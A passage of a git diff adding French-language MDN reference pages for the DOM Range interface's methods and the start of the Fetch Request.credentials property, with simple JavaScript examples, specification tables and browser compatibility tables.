+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>15.0</td>
+   <td>9.1.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model">Index des interfaces DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/range/detach/index.html b/files/fr/web/api/range/detach/index.html
new file mode 100644
index 0000000000..b1b68cd16d
--- /dev/null
+++ b/files/fr/web/api/range/detach/index.html
@@ -0,0 +1,55 @@
+---
+title: Range.detach()
+slug: Web/API/Range/detach
+translation_of: Web/API/Range/detach
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La méthode <strong><code>Range.detach()</code></strong> n'a aucun effet. Elle permet de désactiver l'objet {{domxref("Range")}} et de libérer les ressources associées. Cette méthode a été conservée pour des raisons de compatibilités.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">range.detach();
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.detach();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-detach', 'Range.detach()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-detach', 'Range.detach()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Range.detach")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/fr/web/api/range/extractcontents/index.html b/files/fr/web/api/range/extractcontents/index.html
new file mode 100644
index 0000000000..9415780474
--- /dev/null
+++ b/files/fr/web/api/range/extractcontents/index.html
@@ -0,0 +1,59 @@
+---
+title: Range.extractContents()
+slug: Web/API/Range/extractContents
+translation_of: Web/API/Range/extractContents
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La méthode <strong><code>Range.extractContents()</code></strong> déplace le contenu du {{ domxref("Range") }} depuis l’arbre du document dans un {{ domxref("DocumentFragment") }}.</p>
+
+<p>Les gestionnaires d’évènements ajoutés en utilisant les méthodes du DOM ne sont pas conservés lors de l’extraction. les attributs HTML d’évènements sont conservés ou dupliqués comme ils le seraient avec la méthode {{domxref("Node.cloneNode()")}}. Les attributs HTML id sont également clonés, ce qui peut mener à un document invalide si un nœud partiellement sélectionné est extrait et ajouté au document.</p>
+
+<p>Les nœuds partiellement sélectionnés sont clonés pour inclure les balises parentes nécessaires pour rendre le fragment de document valide.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>documentFragment</em> = <em>range</em>.extractContents();
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+var documentFragment = range.extractContents();
+document.body.appendChild(documentFragment);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-extractcontents', 'Range.extractContents()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-extractContents', 'Range.extractContents()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Range.extractContents")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model">L’index des interfaces DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/range/index.html b/files/fr/web/api/range/index.html
new file mode 100644
index 0000000000..c42a83b4ea
--- /dev/null
+++ b/files/fr/web/api/range/index.html
@@ -0,0 +1,111 @@
+---
+title: range
+slug: Web/API/Range
+translation_of: Web/API/Range
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Introduction" name="Introduction">Introduction</h3>
+
+<p>L'objet <code>Range</code> (littéralement : "étendue" ou "portée", ici : "segment") représente un fragment de document qui peut contenir des nœuds et des parties de nœuds texte dans un document donné.</p>
+
+<p>Un segment peut être crée en utilisant la méthode <a href="/fr/docs/Web/API/document/createRange">createRange</a> de l'objet <a href="/fr/docs/Web/API/document">document</a>. Les objets range peuvent également être récupérés en utilisant la méthode <a href="/fr/docs/Web/API/Selection/getRangeAt">getRangeAt</a> de l'objet <a href="/fr/docs/Web/API/Selection">selection</a>.</p>
+
+<h3 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/range/collapsed">collapsed</a></dt>
+ <dd>Renvoie un booléen indiquant si le point de départ et le point final du segment sont confondus.</dd>
+ <dt><a href="/fr/docs/Web/API/range/commonAncestorContainer">commonAncestorContainer</a></dt>
+ <dd>Renvoie le nœud le plus profond qui contient à la fois les nœuds <code>startContainer</code> et <code>endContainer</code>.</dd>
+ <dt><a href="/fr/docs/Web/API/range/endContainer">endContainer</a></dt>
+ <dd>Renvoie le nœud dans lequel le segment se termine.</dd>
+ <dt><a href="/fr/docs/Web/API/range/endOffset">endOffset</a></dt>
+ <dd>Renvoie un nombre représentant l'endroit où le segment se termine dans <code>endContainer</code>.</dd>
+ <dt><a href="/fr/docs/Web/API/range/startContainer">startContainer</a></dt>
+ <dd>Renvoie le nœud dans lequel le segment débute.</dd>
+ <dt><a href="/fr/docs/Web/API/range/startOffset">startOffset</a></dt>
+ <dd>Renvoie un nombre représentant l'endroit où le segment débute dans <code>startContainer</code>.</dd>
+</dl>
+
+<h3 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h3>
+
+<h4 id="M.C3.A9thodes_de_positionnement" name="M.C3.A9thodes_de_positionnement">Méthodes de positionnement</h4>
+
+<p>Ces méthodes permettent de définir le début et la fin d'un segment.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/range/setStart">setStart</a></dt>
+ <dd>Définit le point de départ d'un segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/setEnd">setEnd</a></dt>
+ <dd>Définit le point final d'un segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/setStartBefore">setStartBefore</a></dt>
+ <dd>Définit le point de départ d'un segment relativement à un autre nœud.</dd>
+ <dt><a href="/fr/docs/Web/API/range/setStartAfter">setStartAfter</a></dt>
+ <dd>Définit le point de départ d'un segment relativement à un autre nœud.</dd>
+ <dt><a href="/fr/docs/Web/API/range/setEndBefore">setEndBefore</a></dt>
+ <dd>Définit le point final d'un segment relativement à un autre nœud.</dd>
+ <dt><a href="/fr/docs/Web/API/range/setEndAfter">setEndAfter</a></dt>
+ <dd>Définit le point final d'un segment relativement à un autre nœud.</dd>
+ <dt><a href="/fr/docs/Web/API/range/selectNode">selectNode</a></dt>
+ <dd>Le contenu du segment devient le nœud et son contenu.</dd>
+ <dt><a href="/fr/docs/Web/API/range/selectNodeContents">selectNodeContents</a></dt>
+ <dd>le contenu du segment devient le contenu du nœud.</dd>
+ <dt><a href="/fr/docs/Web/API/range/collapse">collapse</a></dt>
+ <dd>Replie le segment sur l'un de ses points frontières.</dd>
+</dl>
+
+<h4 id="M.C3.A9thodes_de_modification" name="M.C3.A9thodes_de_modification">Méthodes de modification</h4>
+
+<p>Ces méthodes recupèrent les nœuds d'un segment et modifient le contenu d'un segment.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/range/cloneContents">cloneContents</a></dt>
+ <dd>Renvoie un fragment de document où sont copiés les nœuds d'un segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/deleteContents">deleteContents</a></dt>
+ <dd>Supprime du document le contenu d'un segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/extractContents">extractContents</a></dt>
+ <dd>Déplace le contenu d'un segment, de l'arbre du document vers un fragment de document.</dd>
+ <dt><a href="/fr/docs/Web/API/range/insertNode">insertNode</a></dt>
+ <dd>Insère un nœud au début d'un segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/surroundContents">surroundContents</a></dt>
+ <dd>Déplace le contenu d'un segment dans un nouveau nœud.</dd>
+</dl>
+
+<h4 id="Autres_m.C3.A9thodes" name="Autres_m.C3.A9thodes">Autres méthodes</h4>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/range/compareBoundaryPoints">compareBoundaryPoints</a></dt>
+ <dd>Compare les points frontières de deux segments.</dd>
+ <dt><a href="/fr/docs/Web/API/range/cloneRange">cloneRange</a></dt>
+ <dd>Renvoie un objet <code>Range</code> avec des points frontières identiques à ceux du segment cloné.</dd>
+ <dt><a href="/fr/docs/Web/API/range/detach">detach</a></dt>
+ <dd>Supprime le segment afin d'améliorer la performance.</dd>
+ <dt><a href="/fr/docs/Web/API/range/toString">toString</a></dt>
+ <dd>Renvoie le texte du segment.</dd>
+</dl>
+
+<h4 id="Les_m.C3.A9thodes_Gecko" name="Les_m.C3.A9thodes_Gecko">Les méthodes Gecko</h4>
+
+<p>Cette section décrit les méthodes de range qui sont particulières à Mozilla et ne font pas partie des spécifications DOM W3C.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/range/compareNode">compareNode</a> {{ Obsolete_inline() }}</dt>
+ <dd>Renvoie une constante qui indique si le nœud est avant, après, dans ou englobe le segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/comparePoint">comparePoint</a></dt>
+ <dd>Renvoie -1, 0, ou 1, indiquant si le point se trouve avant, après, ou dans le segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/createContextualFragment">createContextualFragment</a></dt>
+ <dd>Renvoie un fragment de document créé à partir d'un morceau de code donné.</dd>
+ <dt><a href="/fr/docs/Web/API/range/intersectsNode">intersectsNode</a> {{ Obsolete_inline() }}</dt>
+ <dd>Renvoie un booléen indiquant si un nœud donné a une intersection avec le segment.</dd>
+ <dt><a href="/fr/docs/Web/API/range/isPointInRange">isPointInRange</a></dt>
+ <dd>Renvoie un booléen indiquant si le point donné est dans le segment.</dd>
+</dl>
+
+<p><span class="comment">Liens Interwikis</span></p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/range", "es": "es/DOM/range", "ja": "ja/DOM/range", "pl": "pl/DOM/range" } ) }}</p>
diff --git a/files/fr/web/api/range/insertnode/index.html b/files/fr/web/api/range/insertnode/index.html
new file mode 100644
index 0000000000..bec290d0ed
--- /dev/null
+++ b/files/fr/web/api/range/insertnode/index.html
@@ -0,0 +1,115 @@
+---
+title: Range.insertNode()
+slug: Web/API/Range/insertNode
+translation_of: Web/API/Range/insertNode
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La méthode <code><strong>Range.insertNode()</strong></code> insère un nœud au début du {{domxref("Range")}}.</p>
+
+<p>Le nouveau nœud est inséré au point de départ du <code>Range</code>. Si le nouveau nœud est sur le point d’être ajouté à un {{domxref("Node")}} texte, ce <code>Node</code> est coupé en deux au point d’insertion, et l’insertion se fait entre les deux nœuds texte.</p>
+
+<p>Si le nouveau nœud est un fragment de document, les enfants du fragment sont insérés à la place.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>range</em>.insertNode(<em>newNode</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>newNode</em></dt>
+ <dd>Le {{domxref("Node")}} à insérer au début du <code>range</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">range = document.createRange();
+newNode = document.createElement("p");
+newNode.appendChild(document.createTextNode("New Node Inserted Here"));
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.insertNode(newNode);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-insertnode', 'Range.insertNode()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-insertNode', 'Range.insertNode()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatGeckoDesktop("14.0")}}<sup>[1]</sup></td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<br>
+    {{CompatGeckoDesktop("14.0")}}<sup>[1]</sup></td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Gecko 14.0 {{geckoRelease("14.0")}}, cette méthode n’a pas d’effet sur des ranges « collapsés » (dont les points de début et de fin sont confondus). À présent elle se comporte selon la spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">L’index des interfaces DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/range/selectnode/index.html b/files/fr/web/api/range/selectnode/index.html
new file mode 100644
index 0000000000..9cc2d63030
--- /dev/null
+++ b/files/fr/web/api/range/selectnode/index.html
@@ -0,0 +1,114 @@
+---
+title: Range.selectNode()
+slug: Web/API/Range/selectNode
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Range
+translation_of: Web/API/Range/selectNode
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La méthode <code>Range.selectNode()</code> définit le {{domxref ("Range")}} destiné à contenir le {{domxref("Node")}} et son contenu. Le {{domxref ("Node")}} parent du début et de la fin du {{domxref("Range")}} sera le même que le parent du <em>noeudDeReference</em>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>range</em>.selectNode(<em>noeudDeReference</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><em>noeudDeReference</em></dt>
+ <dd>Le {{domxref("Node")}} à choisir à l'intérieur d'un <code>{domxref("Range")}}</code>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var range = document.createRange();
+var noeudDeReference = document.getElementsByTagName("div").item(0);
+
+range.selectNode(noeudDeReference);</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-selectnode', 'Range.selectNode()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-selectNode', 'Range.selectNode()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model">Référence du DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/range/setstart/index.html b/files/fr/web/api/range/setstart/index.html
new file mode 100644
index 0000000000..5f5eea8691
--- /dev/null
+++ b/files/fr/web/api/range/setstart/index.html
@@ -0,0 +1,121 @@
+---
+title: Range.setStart()
+slug: Web/API/Range/setStart
+tags:
+  - API
+  - DOM
+  - Method
+  - Range
+translation_of: Web/API/Range/setStart
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La methode <strong><code>Range.setStart() </code></strong>définit la position de départ d'un {{ domxref("Range") }}.</p>
+
+<p>Si le <code>startNode</code> est un {{ domxref("Node") }}  de type <code>Text</code>, <code>Comment</code>, ou <code>CDATASection</code>, alors startOffset est le nombre de caractères depuis le départ du <code>startNode</code>. Pour les autres types de <code>Nœud</code>, <code>startOffset</code> est le nombre de noeuds enfants entre le debut du <code>startNode</code>.</p>
+
+<p><span id="result_box" lang="fr"><span>Si vous définissez le point de départ en dessous (plus bas dans le document), le point final entraînera une plage réduite avec les points de départ et de fin réglés tous les deux sur la position de départ spécifiée.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>range</em>.setStart(<em>startNode</em>, <em>startOffset</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><em>startNode</em></dt>
+ <dd>{{ domxref("Node") }} ou {{ domxref("Range") }} devrait démarrer.</dd>
+ <dt><em>startOffset</em></dt>
+ <dd><span id="result_box" lang="fr"><span>Un entier supérieur ou égal à zéro représentant le décalage pour le début du {{domxref ("Range")}} à partir du début de startNode</span></span>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var range = document.createRange();
+var startNode = document.getElementsByTagName("p").item(2);
+var startOffset = 0;
+range.setStart(startNode,startOffset);
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-setstart', 'Range.setStart()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-setStart', 'Range.setStart()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/fr/web/api/range/surroundcontents/index.html b/files/fr/web/api/range/surroundcontents/index.html
new file mode 100644
index 0000000000..f06b360d27
--- /dev/null
+++ b/files/fr/web/api/range/surroundcontents/index.html
@@ -0,0 +1,72 @@
+---
+title: Range.surroundContents()
+slug: Web/API/Range/surroundContents
+translation_of: Web/API/Range/surroundContents
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La méthode <strong><code>Range.surroundContents()</code></strong> déplace le contenu du {{ domxref("Range") }} dans un nouveau nœud, plaçant le nouveau nœud au début du <code>range</code> spécifié.</p>
+
+<p>Cette méthode est à peu près équivalente à :</p>
+
+<pre class="brush: js">newNode.appendChild(range.extractContents());
+range.insertNode(newNode)</pre>
+
+<p>Après déplacement, les bornes du <code>range</code> incluent <code>newNode</code>.</p>
+
+<p>Cependant, une exception sera levée si le {{ domxref("Range") }} découpe un nœud non-{{ domxref("Text") }} sur une seule de ses bornes. C’est-à-dire que, contrairement à l’alternative ci-dessus, s’il y a des nœuds partiellement sélectionnés, ils ne seront pas clonés ; à la place, l’opération échouera.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>range</em>.surroundContents(<em>newNode</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>newNode</em></dt>
+ <dd>Un {{ domxref("Node") }} à insérer à l’emplacement du <code>range</code>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var range = document.createRange();
+var newNode = document.createElement("p");
+
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.surroundContents(newNode);
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-surroundcontents', 'Range.surroundContents()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-surroundContents', 'Range.surroundContents()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est génératée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Range.surroundContents")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">L’index des interfaces DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/request/credentials/index.html b/files/fr/web/api/request/credentials/index.html
new file mode 100644
index 0000000000..36d1215c39
--- /dev/null
+++ b/files/fr/web/api/request/credentials/index.html
@@ -0,0 +1,67 @@
+---
+title: Request.credentials
+slug: Web/API/Request/credentials
+tags:
+  - API
+  - Propriété
+  - Reference
+  - request
+translation_of: Web/API/Request/credentials
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>La propriété en lecture seule <strong><code>credentials</code></strong>, de l'interface {{domxref("Request")}}, indique si l'agent utilisateur doit envoyer des cookies de l'autre domaine dans le cas de requêtes CORS. Ceci est similaire au flag <code>withCredentials</code> de XHR, mais peut prendre trois valeurs possibles (contre deux pour XHR) :</p>
+
+<ul>
+ <li><code>omit</code> : ne jamais envoyer de cookies.</li>
+ <li><code>same-origin</code> : envoyer les identifiants utilisateur (cookies, authentification HTTP simple, etc.) si l'URL a la même origine que le script. <strong>C'est la valeur par défaut.</strong></li>
+ <li><code>include</code> : toujours envoyer les identifiants utilisateur (cookies, authentification HTTP simple, etc.) même lorsque l'origine de l'URL est différente.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myCred = request.credentials;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une valeur {{domxref("RequestCredentials")}} qui représente les informations d'authentification utilisées pour cette transaction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le morceau de code suivant, on crée une nouvelle requête en utilisant le constructeur {{domxref("Request.Request()")}} (pour un fichier image dans le même dossier que le script), puis on enregistre les identifiants de la requête dans une variable:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg');
+var myCred = myRequest.credentials; // renvoie "same-origin" par défaut</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request-credentials','credentials')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
